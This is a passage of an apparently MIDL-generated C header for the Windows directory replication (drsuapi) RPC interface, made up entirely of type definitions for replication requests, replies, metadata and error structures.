 } \tNAMERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0034\r\n    {\r\n    UCHAR nameRes;\r\n    UCHAR unusedPad;\r\n    USHORT nextRDN;\r\n    } \tNAMERESOP_DRS_WIRE_V1;\r\n\r\ntypedef struct _DSA_ADDRESS_LIST_DRS_WIRE_V1\r\n    {\r\n    struct _DSA_ADDRESS_LIST_DRS_WIRE_V1 *pNextAddress;\r\n    RPC_UNICODE_STRING *pAddress;\r\n    } \tDSA_ADDRESS_LIST_DRS_WIRE_V1;\r\n\r\ntypedef struct CONTREF_DRS_WIRE_V1\r\n    {\r\n    DSNAME *pTarget;\r\n    NAMERESOP_DRS_WIRE_V1 OpState;\r\n    USHORT aliasRDN;\r\n    USHORT RDNsInternal;\r\n    USHORT refType;\r\n    USHORT count;\r\n    DSA_ADDRESS_LIST_DRS_WIRE_V1 *pDAL;\r\n    struct CONTREF_DRS_WIRE_V1 *pNextContRef;\r\n    BOOL bNewChoice;\r\n    UCHAR choice;\r\n    } \tCONTREF_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0035\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    CONTREF_DRS_WIRE_V1 Refer;\r\n    } \tREFERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0036\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    } \tSECERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0037\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    } \tSVCERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0038\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    } \tUPDERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0039\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    } \tSYSERR_DRS_WIRE_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0040\r\n    {\r\n    /* [case()] */ ATRERR_DRS_WIRE_V1 AtrErr;\r\n    /* [case()] */ NAMERR_DRS_WIRE_V1 NamErr;\r\n    /* [case()] */ REFERR_DRS_WIRE_V1 RefErr;\r\n    /* [case()] */ SECERR_DRS_WIRE_V1 SecErr;\r\n    /* [case()] */ SVCERR_DRS_WIRE_V1 SvcErr;\r\n    /* [case()] */ UPDERR_DRS_WIRE_V1 UpdErr;\r\n    /* [case()] */ SYSERR_DRS_WIRE_V1 SysErr;\r\n    } \tDIRERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0041\r\n    {\r\n    /* [string] */ LPWSTR pszNamingContext;\r\n    /* [string] */ LPWSTR pszSourceDsaDN;\r\n    /* [string] */ LPWSTR pszSourceDsaAddress;\r\n    /* [string] */ LPWSTR pszAsyncIntersiteTransportDN;\r\n    DWORD dwReplicaFlags;\r\n    DWORD dwReserved;\r\n    UUID uuidNamingContextObjGuid;\r\n    UUID uuidSourceDsaObjGuid;\r\n    UUID uuidSourceDsaInvocationID;\r\n    UUID uuidAsyncIntersiteTransportObjGuid;\r\n    USN usnLastObjChangeSynced;\r\n    USN usnAttributeFilter;\r\n    FILETIME ftimeLastSyncSuccess;\r\n    FILETIME ftimeLastSyncAttempt;\r\n    DWORD dwLastSyncResult;\r\n    DWORD cNumConsecutiveSyncFailures;\r\n    } \tDS_REPL_NEIGHBORW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0042\r\n    {\r\n    DWORD cNumNeighbors;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_NEIGHBORW rgNeighbor[ 1 ];\r\n    } \tDS_REPL_NEIGHBORSW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0043\r\n    {\r\n    UUID uuidSourceDsaInvocationID;\r\n    USN usnAttributeFilter;\r\n    } \tDS_REPL_CURSOR;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0044\r\n    {\r\n    DWORD cNumCursors;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_CURSOR rgCursor[ 1 ];\r\n    } \tDS_REPL_CURSORS;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0045\r\n    {\r\n    /* [string] */ LPWSTR pszAttributeName;\r\n    DWORD dwVersion;\r\n    FILETIME ftimeLastOriginatingChange;\r\n    UUID uuidLastOriginatingDsaInvocationID;\r\n    USN usnOriginatingChange;\r\n    USN usnLocalChange;\r\n    } \tDS_REPL_ATTR_META_DATA;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0046\r\n    {\r\n    /* [string] */ LPWSTR pszDsaDN;\r\n    UUID uuidDsaObjGuid;\r\n    FILETIME ftimeFirstFailure;\r\n    DWORD cNumFailures;\r\n    DWORD dwLastResult;\r\n    } \tDS_REPL_KCC_DSA_FAILUREW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0047\r\n    {\r\n    DWORD cNumEntries;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_KCC_DSA_FAILUREW rgDsaFailure[ 1 ];\r\n    } \tDS_REPL_KCC_DSA_FAILURESW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0048\r\n    {\r\n    DWORD cNumEntries;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_ATTR_META_DATA rgMetaData[ 1 ];\r\n    } \tDS_REPL_OBJ_META_DATA;\r\n\r\ntypedef /*  */ \r\nenum __MIDL_drsuapi_0049\r\n    {\r\n        DS_REPL_OP_TYPE_SYNC\t= 0,\r\n        DS_REPL_OP_TYPE_ADD\t= ( DS_REPL_OP_TYPE_SYNC + 1 ) ,\r\n        DS_REPL_OP_TYPE_DELETE\t= ( DS_REPL_OP_TYPE_ADD + 1 ) ,\r\n        DS_REPL_OP_TYPE_MODIFY\t= ( DS_REPL_OP_TYPE_DELETE + 1 ) ,\r\n        DS_REPL_OP_TYPE_UPDATE_REFS\t= ( DS_REPL_OP_TYPE_MODIFY + 1 ) \r\n    } \tDS_REPL_OP_TYPE;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0050\r\n    {\r\n    FILETIME ftimeEnqueued;\r\n    ULONG ulSerialNumber;\r\n    ULONG ulPriority;\r\n    DS_REPL_OP_TYPE OpType;\r\n    ULONG ulOptions;\r\n    /* [string] */ LPWSTR pszNamingContext;\r\n    /* [string] */ LPWSTR pszDsaDN;\r\n    /* [string] */ LPWSTR pszDsaAddress;\r\n    UUID uuidNamingContextObjGuid;\r\n    UUID uuidDsaObjGuid;\r\n    } \tDS_REPL_OPW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0051\r\n    {\r\n    FILETIME ftimeCurrentOpStarted;\r\n    DWORD cNumPendingOps;\r\n    /* [size_is] */ DS_REPL_OPW rgPendingOp[ 1 ];\r\n    } \tDS_REPL_PENDING_OPSW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0052\r\n    {\r\n    /* [string] */ LPWSTR pszAttributeName;\r\n    /* [string] */ LPWSTR pszObjectDn;\r\n    DWORD cbData;\r\n    /* [full][size_is] */ BYTE *pbData;\r\n    FILETIME ftimeDeleted;\r\n    FILETIME ftimeCreated;\r\n    DWORD dwVersion;\r\n    FILETIME ftimeLastOriginatingChange;\r\n    UUID uuidLastOriginatingDsaInvocationID;\r\n    USN usnOriginatingChange;\r\n    USN usnLocalChange;\r\n    } \tDS_REPL_VALUE_META_DATA;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0053\r\n    {\r\n    DWORD cNumEntries;\r\n    DWORD dwEnumerationContext;\r\n    /* [size_is] */ DS_REPL_VALUE_META_DATA rgMetaData[ 1 ];\r\n    } \tDS_REPL_ATTR_VALUE_META_DATA;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0054\r\n    {\r\n    UUID uuidSourceDsaInvocationID;\r\n    USN usnAttributeFilter;\r\n    FILETIME ftimeLastSyncSuccess;\r\n    } \tDS_REPL_CURSOR_2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0055\r\n    {\r\n    DWORD cNumCursors;\r\n    DWORD dwEnumerationContext;\r\n    /* [size_is] */ DS_REPL_CURSOR_2 rgCursor[ 1 ];\r\n    } \tDS_REPL_CURSORS_2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0056\r\n    {\r\n    UUID uuidSourceDsaInvocationID;\r\n    USN usnAttributeFilter;\r\n    FILETIME ftimeLastSyncSuccess;\r\n    /* [string] */ LPWSTR pszSourceDsaDN;\r\n    } \tDS_REPL_CURSOR_3W;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0057\r\n    {\r\n    DWORD cNumCursors;\r\n    DWORD dwEnumerationContext;\r\n    /* [size_is] */ DS_REPL_CURSOR_3W rgCursor[ 1 ];\r\n    } \tDS_REPL_CURSORS_3W;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0058\r\n    {\r\n    /* [string] */ LPWSTR pszAttributeName;\r\n    DWORD dwVersion;\r\n    FILETIME ftimeLastOriginatingChange;\r\n    UUID uuidLastOriginatingDsaInvocationID;\r\n    USN usnOriginatingChange;\r\n    USN usnLocalChange;\r\n    /* [string] */ LPWSTR pszLastOriginatingDsaDN;\r\n    } \tDS_REPL_ATTR_META_DATA_2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0059\r\n    {\r\n    DWORD cNumEntries;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_ATTR_META_DATA_2 rgMetaData[ 1 ];\r\n    } \tDS_REPL_OBJ_META_DATA_2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0060\r\n    {\r\n    /* [string] */ LPWSTR pszAttributeName;\r\n    /* [string] */ LPWSTR pszObjectDn;\r\n    DWORD cbData;\r\n    /* [full][size_is] */ BYTE *pbData;\r\n    FILETIME ftimeDeleted;\r\n    FILETIME ftimeCreated;\r\n    DWORD dwVersion;\r\n    FILETIME ftimeLastOriginatingChange;\r\n    UUID uuidLastOriginatingDsaInvocationID;\r\n    USN usnOriginatingChange;\r\n    USN usnLocalChange;\r\n    /* [string] */ LPWSTR pszLastOriginatingDsaDN;\r\n    } \tDS_REPL_VALUE_META_DATA_2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0061\r\n    {\r\n    DWORD cNumEntries;\r\n    DWORD dwEnumerationContext;\r\n    /* [size_is] */ DS_REPL_VALUE_META_DATA_2 rgMetaData[ 1 ];\r\n    } \tDS_REPL_ATTR_VALUE_META_DATA_2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0062\r\n    {\r\n    /* [range] */ DWORD cb;\r\n    /* [size_is] */ BYTE rgb[ 1 ];\r\n    } \tDRS_EXTENSIONS;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0063\r\n    {\r\n    UUID uuidDsaObjDest;\r\n    UUID uuidInvocIdSrc;\r\n    /* [ref] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    /* [unique] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVecDestV1;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrVecDestV1;\r\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\r\n    ULONG ulFlags;\r\n    ULONG cMaxObjects;\r\n    ULONG cMaxBytes;\r\n    ULONG ulExtendedOp;\r\n    } \tDRS_MSG_GETCHGREQ_V3;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0064\r\n    {\r\n    UUID uuidTransportObj;\r\n    /* [ref] */ MTX_ADDR *pmtxReturnAddress;\r\n    DRS_MSG_GETCHGREQ_V3 V3;\r\n    } \tDRS_MSG_GETCHGREQ_V4;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0065\r\n    {\r\n    UUID uuidTransportObj;\r\n    /* [ref] */ MTX_ADDR *pmtxReturnAddress;\r\n    DRS_MSG_GETCHGREQ_V3 V3;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx;\r\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\r\n    } \tDRS_MSG_GETCHGREQ_V7;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0066\r\n    {\r\n    UUID uuidDsaObjSrc;\r\n    UUID uuidInvocIdSrc;\r\n    /* [unique] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    USN_VECTOR usnvecTo;\r\n    /* [unique] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVecSrcV1;\r\n    SCHEMA_PREFIX_TABLE PrefixTableSrc;\r\n    ULONG ulExtendedRet;\r\n    ULONG cNumObjects;\r\n    ULONG cNumBytes;\r\n    /* [unique] */ REPLENTINFLIST *pObjects;\r\n    BOOL fMoreData;\r\n    } \tDRS_MSG_GETCHGREPLY_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0067\r\n    {\r\n    UUID uuidDsaObjSrc;\r\n    UUID uuidInvocIdSrc;\r\n    /* [unique] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    USN_VECTOR usnvecTo;\r\n    /* [unique] */ UPTODATE_VECTOR_V2_EXT *pUpToDateVecSrc;\r\n    SCHEMA_PREFIX_TABLE PrefixTableSrc;\r\n    ULONG ulExtendedRet;\r\n    ULONG cNumObjects;\r\n    ULONG cNumBytes;\r\n    /* [unique] */ REPLENTINFLIST *pObjects;\r\n    BOOL fMoreData;\r\n    ULONG cNumNcSizeObjects;\r\n    ULONG cNumNcSizeValues;\r\n    /* [range] */ DWORD cNumValues;\r\n    /* [size_is] */ REPLVALINF_V1 *rgValues;\r\n    DWORD dwDRSError;\r\n    } \tDRS_MSG_GETCHGREPLY_V6;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0068\r\n    {\r\n    UUID uuidDsaObjSrc;\r\n    UUID uuidInvocIdSrc;\r\n    /* [unique] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    USN_VECTOR usnvecTo;\r\n    /* [unique] */ UPTODATE_VECTOR_V2_EXT *pUpToDateVecSrc;\r\n    SCHEMA_PREFIX_TABLE PrefixTableSrc;\r\n    ULONG ulExtendedRet;\r\n    ULONG cNumObjects;\r\n    ULONG cNumBytes;\r\n    /* [unique] */ REPLENTINFLIST *pObjects;\r\n    BOOL fMoreData;\r\n    ULONG cNumNcSizeObjects;\r\n    ULONG cNumNcSizeValues;\r\n    /* [range] */ DWORD cNumValues;\r\n    /* [size_is] */ REPLVALINF_V3 *rgValues;\r\n    DWORD dwDRSError;\r\n    } \tDRS_MSG_GETCHGREPLY_V9;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0069\r\n    {\r\n    DWORD cbUncompressedSize;\r\n    DWORD cbCompressedSize;\r\n    /* [size_is] */ BYTE *pbCompressedData;\r\n    } \tDRS_COMPRESSED_BLOB;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0070\r\n    {\r\n    UUID uuidDsaObjDest;\r\n    UUID uuidInvocIdSrc;\r\n    /* [ref] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    /* [unique] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVecDestV1;\r\n    ULONG ulFlags;\r\n    ULONG cMaxObjects;\r\n    ULONG cMaxBytes;\r\n    ULONG ulExtendedOp;\r\n    ULARGE_INTEGER liFsmoInfo;\r\n    } \tDRS_MSG_GETCHGREQ_V5;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0071\r\n    {\r\n    UUID uuidDsaObjDest;\r\n    UUID uuidInvocIdSrc;\r\n    /* [ref] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    /* [unique] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVecDest;\r\n    ULONG ulFlags;\r\n    ULONG cMaxObjects;\r\n    ULONG cMaxBytes;\r\n    ULONG ulExtendedOp;\r\n    ULARGE_INTEGER liFsmoInfo;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx;\r\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\r\n    } \tDRS_MSG_GETCHGREQ_V8;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0072\r\n    {\r\n    UUID uuidDsaObjDest;\r\n    UUID uuidInvocIdSrc;\r\n    /* [ref] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    /* [unique] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVecDest;\r\n    ULONG ulFlags;\r\n    ULONG cMaxObjects;\r\n    ULONG cMaxBytes;\r\n    ULONG ulExtendedOp;\r\n    ULARGE_INTEGER liFsmoInfo;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx;\r\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\r\n    ULONG ulMoreFlags;\r\n    } \tDRS_MSG_GETCHGREQ_V10;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0073\r\n    {\r\n    ULONG ulVersion;\r\n    ULONG cbByteBuffer;\r\n    ULONGLONG ullPadding;\r\n    /* [size_is] */ BYTE rgbBuffer[ 1 ];\r\n    } \tVAR_SIZE_BUFFER_WITH_VERSION;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0074\r\n    {\r\n    UUID uuidDsaObjDest;\r\n    UUID uuidInvocIdSrc;\r\n    /* [ref] */ DSNAME *pNC;\r\n    USN_VECTOR usnvecFrom;\r\n    /* [unique] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVecDest;\r\n    ULONG ulFlags;\r\n    ULONG cMaxObjects;\r\n    ULONG cMaxBytes;\r\n    ULONG ulExtendedOp;\r\n    ULARGE_INTEGER liFsmoInfo;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet;\r\n    /* [unique] */ PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx;\r\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\r\n    ULONG ulMoreFlags;\r\n    GUID correlationID;\r\n    /* [unique] */ VAR_SIZE_BUFFER_WITH_VERSION *pReservedBuffer;\r\n    } \tDRS_MSG_GETCHGREQ_V11;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0075\r\n    {\r\n    /* [case()] */ DRS_MSG_GETCHGREQ_V4 V4;\r\n    /* [case()] */ DRS_MSG_GETCHGREQ_V5 V5;\r\n    /* [case()] */ DRS_MSG_GETCHGREQ_V7 V7;\r\n    /* [case()] */ DRS_MSG_GETCHGREQ_V8 V8;\r\n    /* [case()] */ DRS_MSG_GETCHGREQ_V10 V10;\r\n    /* [case()] */ DRS_MSG_GETCHGREQ_V11 V11;\r\n    } \tDRS_MSG_GETCHGREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0076\r\n    {\r\n    DRS_COMPRESSED_BLOB CompressedV1;\r\n    } \tDRS_MSG_GETCHGREPLY_V2;\r\n\r\ntypedef /*  */ \r\nenum __MIDL_drsuapi_0077\r\n    {\r\n        DRS_COMP_ALG_NONE\t= 0,\r\n        DRS_COMP_ALG_UNUSED\t= 1,\r\n        DRS_COMP_ALG_MSZIP\t= 2,\r\n        DRS_COMP_ALG_WIN2K3\t= 3\r\n    } \tDRS_COMP_ALG_TYPE;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0078\r\n    {\r\n    DWORD dwCompressedVersion;\r\n    DRS_COMP_ALG_TYPE CompressionAlg;\r\n    DRS_COMPRESSED_BLOB CompressedAny;\r\n    } \tDRS_MSG_GETCHGREPLY_V7;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0079\r\n    {\r\n    /* [case()] */ DRS_MSG_GETCHGREPLY_V1 V1;\r\n    /* [case()] */ DRS_MSG_GETCHGREPLY_V2 V2;\r\n    /* [case()] */ DRS_MSG_GETCHGREPLY_V6 V6;\r\n    /* [case()] */ DRS_MSG_GETCHGREPLY_V7 V7;\r\n    /* [case()] */ DRS_MSG_GETCHGREPLY_V9 V9;\r\n    } \tDRS_MSG_GETCHGREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0080\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    UUID uuidDsaSrc;\r\n    /* [string][unique] */ unsigned char *pszDsaSrc;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_REPSYNC_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0081\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    UUID uuidDsaSrc;\r\n    /* [string][unique] */ unsigned char *pszDsaSrc;\r\n    ULONG ulOptions;\r\n    GUID correlationID;\r\n    /* [unique] */ VAR_SIZE_BUFFER_WITH_VERSION *pReservedBuffer;\r\n    } \tDRS_MSG_REPSYNC_V2;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0082\r\n    {\r\n    /* [case()] */ DRS_MSG_REPSYNC_V1 V1;\r\n    /* [case()] */ DRS_MSG_REPSYNC_V2 V2;\r\n    } \tDRS_MSG_REPSYNC;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0083\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    /* [string][ref] */ unsigned char *pszDsaDest;\r\n    UUID uuidDsaObjDest;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_UPDREFS_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0084\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    /* [string][ref] */ unsigned char *pszDsaDest;\r\n    UUID uuidDsaObjDest;\r\n    ULONG ulOptions;\r\n    GUID correlationID;\r\n    /* [unique] */ VAR_SIZE_BUFFER_WITH_VERSION *pReservedBuffer;\r\n    } \tDRS_MSG_UPDREFS_V2;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0085\r\n    {\r\n    /* [case()] */ DRS_MSG_UPDREFS_V1 V1;\r\n    /* [case()] */ DRS_MSG_UPDREFS_V2 V2;\r\n    } \tDRS_MSG_UPDREFS;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0086\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    /* [string][ref] */ unsigned char *pszDsaSrc;\r\n    REPLTIMES rtSchedule;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_REPADD_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0087\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    /* [unique] */ DSNAME *pSourceDsaDN;\r\n    /* [unique] */ DSNAME *pTransportDN;\r\n    /* [string][ref] */ unsigned char *pszSourceDsaAddress;\r\n    REPLTIMES rtSchedule;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_REPADD_V2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0088\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    /* [unique] */ DSNAME *pSourceDsaDN;\r\n    /* [unique] */ DSNAME *pTransportDN;\r\n    /* [string][ref] */ unsigned char *pszSourceDsaAddress;\r\n    REPLTIMES rtSchedule;\r\n    ULONG ulOptions;\r\n    GUID correlationID;\r\n    /* [unique] */ VAR_SIZE_BUFFER_WITH_VERSION *pReservedBuffer;\r\n    } \tDRS_MSG_REPADD_V3;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0089\r\n    {\r\n    /* [case()] */ DRS_MSG_REPADD_V1 V1;\r\n    /* [case()] */ DRS_MSG_REPADD_V2 V2;\r\n    /* [case()] */ DRS_MSG_REPADD_V3 V3;\r\n    } \tDRS_MSG_REPADD;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0090\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    /* [string] */ unsigned char *pszDsaSrc;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_REPDEL_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0091\r\n    {\r\n    /* [case()] */ DRS_MSG_REPDEL_V1 V1;\r\n    } \tDRS_MSG_REPDEL;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0092\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    UUID uuidSourceDRA;\r\n    /* [string][unique] */ unsigned char *pszSourceDRA;\r\n    REPLTIMES rtSchedule;\r\n    ULONG ulReplicaFlags;\r\n    ULONG ulModifyFields;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_REPMOD_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0093\r\n    {\r\n    /* [case()] */ DRS_MSG_REPMOD_V1 V1;\r\n    } \tDRS_MSG_REPMOD;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0094\r\n    {\r\n    DWORD dwFlags;\r\n    /* [range] */ DWORD cNames;\r\n    /* [size_is] */ DSNAME **rpNames;\r\n    ATTRBLOCK RequiredAttrs;\r\n    SCHEMA_PREFIX_TABLE PrefixTable;\r\n    } \tDRS_MSG_VERIFYREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0095\r\n    {\r\n    /* [case()] */ DRS_MSG_VERIFYREQ_V1 V1;\r\n    } \tDRS_MSG_VERIFYREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0096\r\n    {\r\n    DWORD error;\r\n    /* [range] */ DWORD cNames;\r\n    /* [size_is] */ ENTINF *rpEntInf;\r\n    SCHEMA_PREFIX_TABLE PrefixTable;\r\n    } \tDRS_MSG_VERIFYREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0097\r\n    {\r\n    /* [case()] */ DRS_MSG_VERIFYREPLY_V1 V1;\r\n    } \tDRS_MSG_VERIFYREPLY;\r\n\r\ntypedef /*  */ \r\nenum __MIDL_drsuapi_0098\r\n    {\r\n        RevMembGetGroupsForUser\t= 1,\r\n        RevMembGetAliasMembership\t= ( RevMembGetGroupsForUser + 1 ) ,\r\n        RevMembGetAccountGroups\t= ( RevMembGetAliasMembership + 1 ) ,\r\n        RevMembGetResourceGroups\t= ( RevMembGetAccountGroups + 1 ) ,\r\n        RevMembGetUniversalGroups\t= ( RevMembGetResourceGroups + 1 ) ,\r\n        GroupMembersTransitive\t= ( RevMembGetUniversalGroups + 1 ) ,\r\n        RevMembGlobalGroupsNonTransitive\t= ( GroupMembersTransitive + 1 ) \r\n    } \tREVERSE_MEMBERSHIP_OPERATION_TYPE;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0099\r\n    {\r\n    /* [range] */ ULONG cDsNames;\r\n    /* [size_is][size_is] */ DSNAME **ppDsNames;\r\n    DWORD dwFlags;\r\n    /* [range] */ REVERSE_MEMBERSHIP_OPERATION_TYPE OperationType;\r\n    DSNAME *pLimitingDomain;\r\n    } \tDRS_MSG_REVMEMB_REQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0100\r\n    {\r\n    /* [case()] */ DRS_MSG_REVMEMB_REQ_V1 V1;\r\n    } \tDRS_MSG_REVMEMB_REQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0101\r\n    {\r\n    ULONG errCode;\r\n    /* [range] */ ULONG cDsNames;\r\n    /* [range] */ ULONG cSidHistory;\r\n    /* [size_is][size_is] */ DSNAME **ppDsNames;\r\n    /* [size_is] */ DWORD *pAttributes;\r\n    /* [size_is][size_is] */ NT4SID **ppSidHistory;\r\n    } \tDRS_MSG_REVMEMB_REPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0102\r\n    {\r\n    /* [case()] */ DRS_MSG_REVMEMB_REPLY_V1 V1;\r\n    } \tDRS_MSG_REVMEMB_REPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0103\r\n    {\r\n    unsigned char *pSourceDSA;\r\n    ENTINF *pObject;\r\n    UUID *pParentUUID;\r\n    SCHEMA_PREFIX_TABLE PrefixTable;\r\n    ULONG ulFlags;\r\n    } \tDRS_MSG_MOVEREQ_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0104\r\n    {\r\n    /* [range] */ unsigned long cbBuffer;\r\n    unsigned long BufferType;\r\n    /* [size_is] */ BYTE *pvBuffer;\r\n    } \tDRS_SecBuffer;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0105\r\n    {\r\n    unsigned long ulVersion;\r\n    /* [range] */ unsigned long cBuffers;\r\n    /* [size_is] */ DRS_SecBuffer *Buffers;\r\n    } \tDRS_SecBufferDesc;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0106\r\n    {\r\n    DSNAME *pSrcDSA;\r\n    ENTINF *pSrcObject;\r\n    DSNAME *pDstName;\r\n    DSNAME *pExpectedTargetNC;\r\n    DRS_SecBufferDesc *pClientCreds;\r\n    SCHEMA_PREFIX_TABLE PrefixTable;\r\n    ULONG ulFlags;\r\n    } \tDRS_MSG_MOVEREQ_V2;\r\n\r\ntypedef /* [switch_type] */ union 